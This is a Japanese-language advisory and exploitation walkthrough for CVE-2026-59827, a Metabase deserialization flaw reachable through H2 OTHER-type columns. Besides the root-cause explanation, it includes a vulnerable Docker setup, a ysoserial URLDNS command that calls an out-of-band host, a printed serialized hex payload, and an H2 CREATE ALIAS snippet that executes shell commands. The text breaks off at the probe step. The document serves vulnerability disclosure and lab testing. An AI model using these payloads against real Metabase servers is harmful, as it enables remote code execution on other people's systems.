CVE-2026-59827 — MetabaseにおけるH2クエリ結果の安全でないデシリアライゼーション

GHSA-w95f-x9v9-wv36 | CVSS 9.9 クリティカル | CWE-502: 信頼されないデータのデシリアライゼーション

概要

CVE-2026-59827 は、人気のオープンソースビジネスインテリジェンス・データ分析プラットフォーム Metabase における重要なリモートコード実行脆弱性です。この欠陥は、Metabase が H2 データベース接続から返されたクエリ結果を処理する方法に起因します。H2 ソースに対するネイティブ SQL クエリが OTHER 型のカラムを返すと、Metabase はそのカラムの生バイトを Java オブジェクトにデシリアライズし、検証を行いません。そのため、ネイティブクエリを実行できる認証済みユーザーは、悪意のあるシリアライズペイロードを結果セットに混入させ、Metabase をホストしているサーバー上で任意のコード実行を引き起こすことができます。

この脆弱性には CVSS スコア 9.9 が割り当てられており、必要な前提条件が最小限であることと、悪用が成功した場合にサーバー側で完全なコード実行が発生することを反映しています。

Metabase のバージョンスキーム

Metabase は同じリリースサイクルから2つの並行エディショントラックを提供しています。オープンソース版は 0 で始まるバージョン番号（例: v0.61.1）を使用します。エンタープライズ（商用）版は 1 で始まるバージョン番号（例: v1.61.1）を使用します。両エディションは同じコードベースを共有し、同時にリリースされるため、v1.61.0 に影響する脆弱性は v0.61.0 にも同様に影響します。この記事を通して、バージョン番号はエンタープライズの 1.xx 接頭辞で記述されますが、影響を受けるすべてのバージョンは先頭の 1 を 0 に置き換えることで、対応する 0.xx オープンソース版に直接マッピングされます。

影響を受けるバージョン

CVE-2026-59826 と CVE-2026-59827 は両方とも 2026 年 7 月に同時に公開されました。これらは重複するバージョン範囲を持ちますが、修正ポイントは異なります。

CVE-2026-59827 — 安全でないデシリアライゼーション（本記事）

脆弱なエンタープライズリリースは 1.58.0 から 1.58.14、1.59.0 から 1.59.11、1.60.0 から 1.60.6.2、1.61.0 から 1.61.1.3 です。対応するオープンソースリリースは 0.58.0 から 0.58.14、0.59.0 から 0.59.11、0.60.0 から 0.60.6.2、0.61.0 から 0.61.1.3 です。

内部パッチは最初に 1.61.1.4（エンタープライズ）および 0.61.1.4（オープンソース）としてリリースされました。1.61 系で最初の公開修正版は 1.61.2（v1.61.2.x / v0.61.2.x）です。Metabase Cloud インスタンスはプロバイダによって自動的にパッチが適用されました。

CVE-2026-59826 — 安全でない H2 接続プロパティ（関連）

脆弱なエンタープライズリリースは 1.55.0 から 1.58.15.0、1.59.0 から 1.59.11、1.60.0 から 1.60.6.2、1.61.0 から 1.61.1.x ライン全体です。最初の完全パッチ適用公開リリースは 1.61.2（v1.61.2.x / v0.61.2.x）です。CVE-2026-59826 の範囲はより広く、1.55 リリースラインまで遡ります。これは、悪用される検証が不十分なデータベース作成コードパスが長期間存在していたことを反映しています。

背景: Java デシリアライゼーション

Java のシリアライゼーションメカニズムにより、メモリ上のオブジェクトをフラットなバイトストリームに変換して保存または送信し、後で ObjectInputStream.readObject() を呼び出して再構築できます。このメカニズムの重要な特性は、再構築がコードを実行することです。クラスコンストラクタ、readObject オーバーライド、ファイナライザはすべてデシリアライゼーション中に実行されます。読み取られるバイトが信頼できないソースからのものである場合、攻撃者はそれらのバイトを細工して、JVM にすでにロードされている既存の正規のクラスのシーケンスを通じて任意のメソッド呼び出しをトリガーできます。これらのシーケンスはガジェットチェーンと呼ばれます。

ガジェットチェーンはアプリケーションに新しいコードを導入する必要はありません。デシリアライゼーション中に適切な順序で呼び出された場合に、最終的に Runtime.exec() などのシンクに到達する既存のライブラリクラスの配線を悪用します。ysoserial のようなツールは、Apache Commons Collections、Spring Framework など、広くデプロイされているライブラリ向けにこれらのペイロードを生成するために特別に存在します。

背景: H2 の OTHER 型

H2 は純粋な Java 組み込みリレーショナルデータベースです。OTHER と呼ばれる特別な SQL カラム型を定義しており、これは任意の Java オブジェクトのパススルーとして機能します。H2 が OTHER カラムに値を格納するとき、Java の ObjectOutputStream によって生成されたバイトを書き込みます。値を読み戻すとき、ObjectInputStream.readObject() を呼び出してオブジェクトを再構築します。生のシリアライズバイトは、H2 の16進数リテラル構文を使用してクエリ内で直接供給することもできます。

SELECT CAST(X'ACED0005...' AS OTHER); 
-- or 
SELECT X'ACED0005...'::OTHER;

接頭辞 ACED に続く 0005 は、Java シリアライゼーションストリームのマジックナンバーとプロトコルバージョンです。ACED0005 で始まる16進文字列はすべて Java シリアライズオブジェクトストリームです。

H2 がこのクエリを処理すると、データベース側で16進バイトをデシリアライズします。結果のオブジェクトは JDBC ResultSet を通じて呼び出し元アプリケーションに返されます。アプリケーションがカラム値を検査する場合（たとえば表示用にフォーマットするため）、追加の処理がトリガーされる可能性があります。これがまさに脆弱なコードパスで Metabase が行っていることです。

脆弱性の仕組み

脆弱なコードパス

Metabase は H2 ドライバから JDBC ResultSet を受け取り、カラムメタデータを検査して各値をユーザーにどのようにレンダリングするかを決定します。JDBC 型 Types.OTHER（JAVA_OBJECT としても報告される）のカラムに遭遇すると、脆弱なバージョンの Metabase は表示可能な表現を生成するために生バイトのデシリアライズを試みます。このデシリアライズ呼び出し ObjectInputStream.readObject() は、ホワイトリストフィルタリングやクラス検証なしで実行されます。

一連のイベントは次のとおりです。

認証済みの攻撃者が Metabase の SQL クエリエディターを開き、接続された H2 データベースをターゲットにします。サンプルデータベースで十分です。
攻撃者は、細工されたシリアライズペイロードを含む OTHER 型のカラムを返すネイティブ SQL クエリを送信します。
H2 がクエリを処理し、ResultSet 内の JAVA_OBJECT カラムとして生バイトを返します。
Metabase の結果処理パイプラインが OTHER カラム型に遭遇し、バイトに対して readObject() を呼び出します。
ペイロードに埋め込まれたガジェットチェーンが起動し、Runtime.exec() に到達して、Metabase プロセスを実行している OS ユーザーとして攻撃者のコマンドを実行します。

修正

パッチ適用済みバージョンでは、デシリアライズを試みる前に JDBC 結果メタデータを検査することで問題を解決しています。カラムが JAVA_OBJECT 型として報告された場合、Metabase はそれを解析しようとせずに即座に拒否します。

制約と攻撃対象領域

必要なアクセス権

悪用には認証が必要です。攻撃者は H2 をバックエンドとするデータベースに対してネイティブクエリ実行権限を持つ Metabase アカウントを保有している必要があります。管理者アカウントはデフォルトでこれを満たします。通常ユーザーアカウントでも、管理者が該当データベースに対してネイティブクエリデータ権限を付与していれば、この要件を満たすことができます。

H2 データウェアハウスはすでに削除済み

Metabase は、2023 年にリリースされたバージョン 0.46.6.4 で、新しいデータウェアハウス接続として H2 を追加するサポートを削除しました。管理インターフェースを通じて新しい H2 接続を登録しようとすると、「H2 はデータウェアハウスとしてサポートされていません」というエラーが返されます。この削除は、以前の H2 関連の脆弱性への対応であり、攻撃者が制御する H2 インスタンスに接続するリスクを排除することを目的としていました。

しかし、データウェアハウス接続 UI からの H2 削除は、Metabase からの H2 削除と同じではありません。デフォルトの Metabase インストールには 2 つの H2 データベースが残っています。

1 つ目はアプリケーションデータベースです。Metabase が PostgreSQL や MySQL などの外部データベースを使用するように構成されていない場合、自身のメタデータ（質問、ダッシュボード、ユーザーアカウント、設定）を /metabase-data/metabase.db.mv.db の H2 ファイルに保存します。このデータベースは Metabase UI から直接クエリできません。

2 つ目でより直接的に悪用可能なのはサンプルデータベースです。初期セットアップ中に、Metabase はサンプルデータが事前に入力された H2 データベースを作成し、「サンプルデータベース」接続として利用可能にします。この接続はすべての Metabase インスタンスにデフォルトで存在し、CVE-2026-59827 の主要な攻撃対象領域です。これはユーザーがネイティブ SQL クエリを実行できる生きた H2 接続であり、管理パネルに表示される接続文字列は file:/plugins/sample-database.db を指しています。

サンプルデータベースへの書き込み権限

サンプルデータベースは、管理者を含むすべてのユーザーに対して読み取り専用アクセスを強制します。http://localhost:3000/admin/databases の Metabase データベース設定ページでは、接続されているデータベースに書き込みアクセスを許可するトグルがありますが、サンプルデータベースでは利用できません。つまり、通常の手段では CREATE、UPDATE、DELETE などのデータ操作言語（DML）ステートメントをサンプルデータベースに対して実行できません。

この制限は重要です。なぜなら、特定の代替攻撃経路を閉じるからです。たとえば、H2 エンジンは CREATE ALIAS ステートメントをサポートしており、Java 関数を定義して呼び出すことができます。

CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
} $$;

サンプルデータベースでは書き込みアクセスがロックされているため、この DDL パスは利用できません。SELECT CAST(X'...' AS OTHER) によるデシリアライゼーションパスが有効な悪用ベクトルであるのは、まさに SELECT ステートメントのみが必要であり、これがすべてのユーザーに許可されているからです。

脆弱な環境のセットアップ

管理されたラボ環境でこの脆弱性をテストするには、影響を受ける範囲の Metabase バージョンを実行します。

docker run -d -p 3000:3000 \
  --name metabase-vulnerable \
  -v metabase-data:/metabase-data \
  metabase/metabase:v0.61.1

Metabase は http://localhost:3000 で初期化され、/metabase-data/metabase.db.mv.db に H2 アプリケーションデータベースを作成し、サンプルデータベースを自動的にプロビジョニングします。初期アカウント設定を完了して認証済みセッションを取得します。セットアップ後、サンプルデータベースの SQL エディターに移動します。これがエクスプロイトの実行環境です。

脆弱性の悪用

ステップ 1 — デシリアライゼーションがアクティブであることを確認する

コマンド実行を試みる前に、デシリアライゼーションパスが到達可能であることを確認します。ysoserial の URLDNS ガジェットチェーンは、デシリアライズ時に指定されたホスト名への発信 DNS ルックアップを行うペイロードを生成します。システムコマンドを実行しないため、readObject() が実際に呼び出されていることを確認する安全なプローブとして使用できます。

ペイロードを生成します。

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'

これにより、aced0005 で始まる16進文字列が生成されます。キャプチャされたペイロードからの16進出力の例:

aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78

ステップ 2 — URLDNS プローブクエリを実行する

Metabase でサンプルデータベースに対して SQL エディターを開き、以下を実行します（OAST ホスト名用に生成された16進文字列に置き換えてください）。